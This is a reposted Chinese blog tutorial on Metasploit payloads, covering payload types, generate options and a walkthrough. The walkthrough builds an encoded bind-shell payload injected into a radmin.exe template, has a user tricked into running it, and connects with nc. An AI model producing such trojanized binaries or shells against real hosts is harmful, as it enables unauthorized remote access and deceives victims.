0


【MSFconsole进阶】Payload(攻击载荷模块):payload分类、相关命令、使用方法

一、简介:

1.1、payload(攻击载荷):

主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等,payloads也被称为shellcode。

一般在exploit中调用payload

也可以使用 generate 命令直接生成payload


exploit是利用漏洞的一个过程和方法,最终的目的是为了执行payload(攻击代码)


1.2、Shellcode:

是一段代码(或填充数据),作为数据发送到目标服务器利用特定漏洞的代码,用于获取权限。



二、payload分类

2.1、singles(独立载荷)

可直接植入目标系统并执行相应的程序(payload:shell_bind_tcp)

2.2、stagers(传输器载荷)

2.2.1、简介:

用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。


2.2.2、特点:

为在漏洞利用后方便注入,载荷体积都非常小,且这类载荷功能都非常相似


2.2.3、分类:

bind型,需要攻击机主动连接目标端口

reverse型,目标机会反连接攻击机,提前设定好连接攻击机的ip地址和端口号

2.3、stages(传输体载荷)

2.3.1、简介:

stagers建立连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。


2.3.2、示例:

得到目标机的shell或meterpreter控制程序运行

攻击机可以在本端输入相应命令控制目标机。



三、相关命令

选项:

-E

编码


-O <opt>

弃用:“ -o”选项的别名


-P <opt>

总所需有效载荷尺寸,自动生产适当的NOP雪橇长度


-S <opt>

生成(大)Windows二进制文件时要使用的新部分名称


-b <opt>

字符列表避免示例:'\ x00 \ xff'


-e <opt>

用于使用的编码器


-f <opt>

输出格式:base32,base64,bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war


-h

显示此消息


-i <opt>

编码有效载荷的次数


-k

保留模板行为并将有效载荷注入新线程


-n <opt>

在有效载荷上预先设置[长度]大小的点头


-o <opt>

输出文件名(否则stdout)


-p <opt>

有效载荷的平台


-v

详细输出


-x <opt>

指定自定义可执行文件以用作模板



四、使用方法:

4.1、方法一:

一般的使用方法

使用exploit时,用 use 去使用的payload(即set调用各种payload)

4.2、方法二:

直接使用payload:直接用 use 使用一个payload


4.2.1、第一步:还是选择模块

#查看payload模块,也可以输入关键字然后会检索出来

use payload/

use payload/windows/shell_bind_tcp

show options

LPORT:

监听端口,也就是目标开放的端口

RHOST:

目标机器只接受某个远程主机来连接它的4444端口(目标开放的端口),限制了来源IP(不设置的话,都可以连上去获取shell)


4.2.2、第二步:直接使用payload

使用 generate 命令来生成payload

输入generate

可以获得payload的一些基本信息和设置的参数,buf 就是 payload 的16进制表示方式


4.2.3、第三步:考虑过滤坏字符

产生的payload中可能存在“坏字符”

被执行过程中会被过滤掉、或被替代,导致无法产生预期结果

eg:

缓冲区溢出中,会把 “\x00”认为是一个坏字符,导致shellcode无法执行


生成payload时(默认不使用encoder)

比如过滤掉 “\x00” 就会从已有的encoder中选择最理想的一个

也可以手动指定encoder

#显示可用的encoders

show encoders

#使用指定的encoder

generate -e x86/add_sub


坏字符太多,就需要自己手动加上去

generate -b '\x00\xff'

利用 -b 参数,后面跟上要避免出现的坏字符(也就是过滤掉)

坏字符一般不止一个


过滤掉坏字符后的payload大小也变化了

“\x00”可能由1个字节变成2个甚至更多字节去表示


4.2.4、第四步:考虑多次加密、输出格式等

#研究一下输出格式之间代码是否有区别

#输出python使用的payload

generate -f python LHOST=192.168.190.131

LHOST是填自己的

#输出python使用的payload

generate -f c LHOST=192.168.190.131

对比可以发现,其实c语言格式输出的,和python格式输出的是存在不一样的

#完整的一个输出exe文件

generate -b '\x00\xff' -f exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o /root/1.exe

打开目录位置 /root/1.exe


4.2.5、第五步:诱使用户使用程序

将exe文件拷贝/发送到目标主机上运行


4.2.6、第六步:连接目标端口

nc IP 端口号

标签: 安全 web安全

本文转载自: https://blog.csdn.net/qq_53079406/article/details/124918838
版权归原作者 黑色地带(崛起) 所有, 如有侵权,请联系我们删除。

“【MSFconsole进阶】Payload(攻击载荷模块):payload分类、相关命令、使用方法”的评论:

还没有评论